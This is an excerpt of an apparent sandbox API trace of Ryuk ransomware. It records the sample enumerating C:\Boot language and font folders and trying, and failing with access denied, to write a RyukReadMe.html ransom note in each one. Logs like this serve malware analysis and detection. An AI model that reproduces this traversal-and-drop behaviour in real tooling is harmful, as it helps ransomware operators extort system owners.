	[0157.583] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.583] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.583] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.583] SetLastError (dwErrCode=0x0) 
	[0157.583] CreateFileW (lpFileName="C:\\Boot\\es-ES\\RyukReadMe.html" (normalized: "c:\\boot\\es-es\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.583] GetLastError () returned 0x5
	[0157.584] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.584] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.584] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0157.584] SetLastError (dwErrCode=0x0) 
	[0157.584] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.584] GetLastError () returned 0x5
	[0157.584] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.584] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.584] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.585] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.585] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.585] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.585] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.585] SetLastError (dwErrCode=0x0) 
	[0157.585] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\RyukReadMe.html" (normalized: "c:\\boot\\fi-fi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.906] GetLastError () returned 0x5
	[0157.906] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.906] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.906] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0157.907] SetLastError (dwErrCode=0x0) 
	[0157.907] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.907] GetLastError () returned 0x5
	[0157.907] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.907] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.907] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.908] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x2e, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x2e, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x2e, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x2e, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x2e, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x2e, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0157.908] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.909] SetLastError (dwErrCode=0x0) 
	[0157.909] CreateFileW (lpFileName="C:\\Boot\\Fonts\\RyukReadMe.html" (normalized: "c:\\boot\\fonts\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.909] GetLastError () returned 0x5
	[0157.909] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.909] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.909] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0157.910] SetLastError (dwErrCode=0x0) 
	[0157.910] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.910] GetLastError () returned 0x5
	[0157.910] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.910] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.910] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.910] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.911] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.911] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.911] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.911] SetLastError (dwErrCode=0x0) 
	[0157.911] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\RyukReadMe.html" (normalized: "c:\\boot\\fr-fr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.911] GetLastError () returned 0x5
	[0157.911] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.912] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.912] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0157.912] SetLastError (dwErrCode=0x0) 
	[0157.912] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.912] GetLastError () returned 0x5
	[0157.912] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.912] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.912] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.913] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.914] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.914] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.914] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.914] SetLastError (dwErrCode=0x0) 
	[0157.914] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\RyukReadMe.html" (normalized: "c:\\boot\\hu-hu\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.914] GetLastError () returned 0x5
	[0157.914] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.915] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.915] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0157.915] SetLastError (dwErrCode=0x0) 
	[0157.915] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.915] GetLastError () returned 0x5
	[0157.915] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.915] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.915] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.916] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.916] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.916] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.916] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.916] SetLastError (dwErrCode=0x0) 
	[0157.916] CreateFileW (lpFileName="C:\\Boot\\it-IT\\RyukReadMe.html" (normalized: "c:\\boot\\it-it\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.917] GetLastError () returned 0x5
	[0157.917] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.917] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.917] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0157.917] SetLastError (dwErrCode=0x0) 
	[0157.917] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.918] GetLastError () returned 0x5
